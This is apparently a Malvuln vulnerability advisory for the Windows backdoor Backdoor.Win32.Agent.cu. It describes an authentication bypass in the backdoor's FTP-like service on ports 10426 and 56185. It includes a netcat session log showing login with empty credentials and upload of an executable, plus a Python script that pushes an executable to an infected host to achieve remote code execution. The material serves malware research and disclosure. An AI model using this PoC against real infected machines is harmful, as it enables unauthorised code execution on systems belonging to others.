Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ce1963d3fd6a8e1383aac40a1f1c4107.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.cu
Vulnerability: Authentication Bypass RCE 
Description: The malware listens on TCP ports 10426, 56185. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands, this can result in remote code execution.
Type: PE32
MD5: ce1963d3fd6a8e1383aac40a1f1c4107
Vuln ID: MVID-2021-0303
Dropped files: MsgNet32.exe
Disclosure: 07/26/2021 

Exploit/PoC:
nc64.exe 192.168.18.129 56185
220 Erazer - Transfer Server
USER
331 Password required for .
PASS
230 User  logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,129,194,38).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.129"
PORT=49702
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("Backdoor.Win32.Agent.cu / Authentication Bypass RCE")
    print("MD5: ce1963d3fd6a8e1383aac40a1f1c4107")
    print("By Malvuln");

if __name__=="__main__":
    doit()

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